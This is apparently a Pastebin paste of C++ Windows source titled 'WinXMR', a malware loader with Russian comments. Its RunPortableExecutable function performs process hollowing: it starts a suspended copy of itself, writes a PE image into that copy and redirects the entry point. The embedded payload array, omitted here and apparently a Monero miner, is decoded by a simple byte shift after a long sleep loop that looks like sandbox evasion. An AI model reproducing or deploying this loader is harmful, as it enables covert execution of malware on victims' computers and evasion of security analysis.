Advertisement
Guest User

WinXMR

a guest
Dec 16th, 2018
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.95 KB | None | 0 0
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #define _CRT_SECURE_NO_DEPRECATE
  3. #define _CRT_NONSTDC_NO_DEPRECATE
  4. #define CRYPT
  5. #pragma warning(disable : 4996)
  6.  
  7.  
  8. #include "stdafx.h"
  9. #include "WinXMR.h"
  10. #include <iostream> // Standard C++ library for console I/O
  11. #include <string> // Standard C++ Library for string manip
  12.  
  13. #include <windows.h>
  14. #include <winternl.h>
  15. #include <TlHelp32.h> //WinAPI Process API
  16. #pragma comment(lib,"ws2_32.lib")
  17. #pragma comment(lib,"ntdll.lib")
  18.  
  19.  
  20. #define MAX_LOADSTRING 100
  21.  
  22. // Глобальные переменные:
  23. HINSTANCE hInst;                                // текущий экземпляр
  24. WCHAR szTitle[MAX_LOADSTRING];                  // Текст строки заголовка
  25. WCHAR szWindowClass[MAX_LOADSTRING];            // имя класса главного окна
  26.  
  27. // Отправить объявления функций, включенных в этот модуль кода:
  28. ATOM                MyRegisterClass(HINSTANCE hInstance);
  29. BOOL                InitInstance(HINSTANCE, int);
  30. LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
  31. INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
  32.  
  33.  
  34. int RunPortableExecutable(void* Image)
  35. {
  36.     IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
  37.     IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
  38.     IMAGE_SECTION_HEADER* SectionHeader;
  39.  
  40.     PROCESS_INFORMATION PI;
  41.     STARTUPINFOA SI;
  42.  
  43.     CONTEXT* CTX;
  44.  
  45.     DWORD* ImageBase; //Base address of the image
  46.     void* pImageBase; // Pointer to the image base
  47.  
  48.     int count;
  49.     char CurrentFilePath[1024];
  50.  
  51.     DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
  52.     NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
  53.  
  54.     GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
  55.  
  56.     if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
  57.     {
  58.         ZeroMemory(&PI, sizeof(PI)); // Null the memory
  59.         ZeroMemory(&SI, sizeof(SI)); // Null the memory
  60.  
  61.         if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
  62.             CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
  63.             //process in suspended state, for the new image.
  64.         {
  65.             // Allocate memory for the context.
  66.             CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
  67.             CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
  68.  
  69.             if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
  70.             {
  71.                 // Read instructions
  72.                 ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
  73.  
  74.                 pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
  75.                     NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  76.  
  77.                 // Write the image to the process
  78.                 WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
  79.  
  80.                 for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
  81.                 {
  82.                     SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
  83.  
  84.                     WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
  85.                         LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
  86.                 }
  87.                 WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
  88.                     LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
  89.  
  90.                 // Move address of entry point to the eax register
  91.                 CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
  92.                 SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
  93.                 ResumeThread(PI.hThread); //´Start the process/call main()
  94.  
  95.                 return 0; // Operation was successful.
  96.             }
  97.         }
  98.     }
  99. }
  100.  
  101. // бинарный код программы
  102. unsigned char rawData[] = {
  103.     // 284448 строк бинарника
  104. };
  105.  
  106.  
  107.  
  108.  
  109. int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
  110.                      _In_opt_ HINSTANCE hPrevInstance,
  111.                      _In_ LPWSTR    lpCmdLine,
  112.                      _In_ int       nCmdShow)
  113. {
  114.     UNREFERENCED_PARAMETER(hPrevInstance);
  115.     UNREFERENCED_PARAMETER(lpCmdLine);
  116.  
  117.     for (int i = 0; i < 550000; i++)
  118.         Sleep(1000);
  119.     for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
  120.         unsigned char b = rawData[i] + 0x11;
  121.         rawData[i] = b;
  122.     }
  123.     Sleep(3000); //задержка
  124.     RunPortableExecutable(rawData); // run executable from the array
  125.     getchar();
  126.     delete rawData;
  127.     // TODO: Разместите код здесь.
  128.  
  129.     // Инициализация глобальных строк
  130.     LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
  131.     LoadStringW(hInstance, IDC_WINXMR, szWindowClass, MAX_LOADSTRING);
  132.     MyRegisterClass(hInstance);
  133.  
  134.     // Выполнить инициализацию приложения:
  135.     if (!InitInstance (hInstance, nCmdShow))
  136.     {
  137.         return FALSE;
  138.     }
  139.  
  140.     HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_WINXMR));
  141.  
  142.     MSG msg;
  143.  
  144.     // Цикл основного сообщения:
  145.     while (GetMessage(&msg, nullptr, 0, 0))
  146.     {
  147.         if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
  148.         {
  149.             TranslateMessage(&msg);
  150.             DispatchMessage(&msg);
  151.         }
  152.     }
  153.  
  154.     return (int) msg.wParam;
  155. }
  156.  
  157.  
  158.  
  159. //
  160. //  ФУНКЦИЯ: MyRegisterClass()
  161. //
  162. //  ЦЕЛЬ: Регистрирует класс окна.
  163. //
  164. ATOM MyRegisterClass(HINSTANCE hInstance)
  165. {
  166.     WNDCLASSEXW wcex;
  167.  
  168.     wcex.cbSize = sizeof(WNDCLASSEX);
  169.  
  170.     wcex.style          = CS_HREDRAW | CS_VREDRAW;
  171.     wcex.lpfnWndProc    = WndProc;
  172.     wcex.cbClsExtra     = 0;
  173.     wcex.cbWndExtra     = 0;
  174.     wcex.hInstance      = hInstance;
  175.     wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_WINXMR));
  176.     wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
  177.     wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  178.     wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_WINXMR);
  179.     wcex.lpszClassName  = szWindowClass;
  180.     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
  181.  
  182.     return RegisterClassExW(&wcex);
  183. }
  184.  
  185. //
  186. //   ФУНКЦИЯ: InitInstance(HINSTANCE, int)
  187. //
  188. //   ЦЕЛЬ: Сохраняет маркер экземпляра и создает главное окно
  189. //
  190. //   КОММЕНТАРИИ:
  191. //
  192. //        В этой функции маркер экземпляра сохраняется в глобальной переменной, а также
  193. //        создается и выводится главное окно программы.
  194. //
  195. BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
  196. {
  197.    hInst = hInstance; // Сохранить маркер экземпляра в глобальной переменной
  198.  
  199.    HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
  200.       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
  201.  
  202.    if (!hWnd)
  203.    {
  204.       return FALSE;
  205.    }
  206.  
  207.    ShowWindow(hWnd, nCmdShow);
  208.    UpdateWindow(hWnd);
  209.  
  210.    return TRUE;
  211. }
  212.  
  213. //
  214. //  ФУНКЦИЯ: WndProc(HWND, UINT, WPARAM, LPARAM)
  215. //
  216. //  ЦЕЛЬ: Обрабатывает сообщения в главном окне.
  217. //
  218. //  WM_COMMAND  - обработать меню приложения
  219. //  WM_PAINT    - Отрисовка главного окна
  220. //  WM_DESTROY  - отправить сообщение о выходе и вернуться
  221. //
  222. //
  223. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  224. {
  225.     switch (message)
  226.     {
  227.     case WM_COMMAND:
  228.         {
  229.             int wmId = LOWORD(wParam);
  230.             // Разобрать выбор в меню:
  231.             switch (wmId)
  232.             {
  233.             case IDM_ABOUT:
  234.                 DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
  235.                 break;
  236.             case IDM_EXIT:
  237.                 DestroyWindow(hWnd);
  238.                 break;
  239.             default:
  240.                 return DefWindowProc(hWnd, message, wParam, lParam);
  241.             }
  242.         }
  243.         break;
  244.     case WM_PAINT:
  245.         {
  246.             PAINTSTRUCT ps;
  247.             HDC hdc = BeginPaint(hWnd, &ps);
  248.             // TODO: Добавьте сюда любой код прорисовки, использующий HDC...
  249.             EndPaint(hWnd, &ps);
  250.         }
  251.         break;
  252.     case WM_DESTROY:
  253.         PostQuitMessage(0);
  254.         break;
  255.     default:
  256.         return DefWindowProc(hWnd, message, wParam, lParam);
  257.     }
  258.     return 0;
  259. }
  260.  
  261. // Обработчик сообщений для окна "О программе".
  262. INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
  263. {
  264.     UNREFERENCED_PARAMETER(lParam);
  265.     switch (message)
  266.     {
  267.     case WM_INITDIALOG:
  268.         return (INT_PTR)TRUE;
  269.  
  270.     case WM_COMMAND:
  271.         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
  272.         {
  273.             EndDialog(hDlg, LOWORD(wParam));
  274.             return (INT_PTR)TRUE;
  275.         }
  276.         break;
  277.     }
  278.     return (INT_PTR)FALSE;
  279. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement